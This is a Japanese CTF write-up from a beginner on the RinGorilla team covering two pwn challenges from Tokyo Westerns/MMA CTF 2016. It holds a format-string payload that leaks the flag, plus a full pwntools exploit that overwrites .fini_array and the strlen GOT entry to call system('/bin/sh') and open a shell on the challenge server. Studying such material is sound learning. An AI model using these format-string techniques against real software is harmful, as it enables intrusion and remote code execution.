Tokyo Westerns/MMA CTF 2nd 2016 writeup
はじめに
RinGorillaというチームで、参加しました。
530ptの99位で、僕が通したsubmitは、60ptです。
と言っても、welcomeの10ptがあるので、実質1問だけです。
他のメンバーに申し訳ない。。。
解けたjudgementと、他のwriteupを見ながら解いたgreetingの2問のwriteupです。
judgement
事前調査。
% file judgement judgement: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID % checksec --file judgement [*] '/home/hama/ctf/twctf/judgement' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE [hama@vm_ubuntu-x86_64] ~/
main関数の前に、load_flagという関数が呼ばれており、flagが読まれているよう。
flagのあるメモリのアドレスは、0x804a0a0だった。
スタックに、0x804a0a0があれば、FSBで読み出すことができる。
printf実行直前で、0x804a0a0を検索してみると、スタックに積まれていることがわかる。
gdbで、0x804a0a0のオフセットを確認したら、28と32だった。
gdb-peda$ searchmem 0x804a0a0 Searching for '0x804a0a0' in: None ranges Found 7 results, display max 7 items: judgement : 0x80486e6 (<init+89>: mov al,ds:0x8d0804a0) judgement : 0x80487ab (<main+128>: mov al,ds:0x8d0804a0) judgement : 0x80496e6 --> 0x804a0a0 ("TWCTF{dummy}") judgement : 0x80497ab --> 0x804a0a0 ("TWCTF{dummy}") [stack] : 0xffffdb00 --> 0x804a0a0 ("TWCTF{dummy}") [stack] : 0xffffdb10 --> 0x804a0a0 ("TWCTF{dummy}") [stack] : 0xffffdb44 --> 0x804a0a0 ("TWCTF{dummy}")
% nc pwn1.chal.ctf.westerns.tokyo 31729 Flag judgment system Input flag >> %32$s TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0} Wrong flag...
greeting
競技中に解けなかった。
どこのアドレスを書き換えればいいのか分からずタイムアップ。
% file greeting greeting: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[ [hama@vm_ubuntu-x86_64] ~/ctf/twctf/greeting % checksec --file ./greeting [*] '/home/hama/ctf/twctf/greeting/greeting' Arch: i386-32-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE
main関数の処理が終わると、_fini_arrayにあるアドレスの処理が実行される。
この_fini_arrayの値を書き換えてやれば、main関数終了後に、任意の処理を実行可能となっている。
_fini_addrをmainに書き換える。また、strlenのGOTを、systemに書き換える。
入力された文字列の長さを得るために、strlen(input)となっているので、system("/bin/sh")となるようにする。
二度目のmainの処理で、入力として"/bin/sh"を与える。
以下が、そのexploitのコード。
from pwn import * from libformatstr import FormatStr host = 'pwn2.chal.ctf.westerns.tokyo' port = 16317 _fini_array_addr = 0x08049934 main_addr = 0x080485ed system_addr = 0x08048490 strlen_got_addr = 0x8049a54 offset = 12 padding = 2 ''' 20] .fini_array FINI_ARRAY 08049934 000934 000004 00 WA 0 0 4 080485ed <main>: 80485ed: 55 push ebp 80485ee: 89 e5 mov ebp,esp 80485f0: 83 e4 f0 and esp,0xfffffff0 08048490 <system@plt>: 8048490: ff 25 48 9a 04 08 jmp DWORD PTR ds:0x8049a48 8048496: 68 28 00 00 00 push 0x28 804849b: e9 90 ff ff ff jmp 8048430 <_init+0x2c> 080484c0 <strlen@plt>: 80484c0: ff 25 54 9a 04 08 jmp DWORD PTR ds:0x8049a54 80484c6: 68 40 00 00 00 push 0x40 80484cb: e9 60 ff ff ff jmp 8048430 <_init+0x2c> ''' p = FormatStr() p[_fini_array_addr] = main p[strlen_got_addr] = system r = remote(host, port) print r.recv() r.sendline(p.payload(offset, padding, len("Nice to meet you, "))) print r.recv() r.sendline("/bin/sh") r.interactive()
% python exploit.py [+] Opening connection to pwn2.chal.ctf.westerns.tokyo on port 16317: Done Hello, I'm nao! Please tell me your name... Nice to meet you, [*] Switching to interactive mode Please tell me your name... $ cat flag TWCTF{51mpl3_FSB_r3wr173_4nyw4r3} $ [*] Closed connection to pwn2.chal.ctf.westerns.tokyo port 16317
おわりに
pwn初心者なので、greetingは勉強になった。
今回から、pwn系のtoolを使い始めたので、慣れていきたい。
運営のTokyo Westernsに感謝!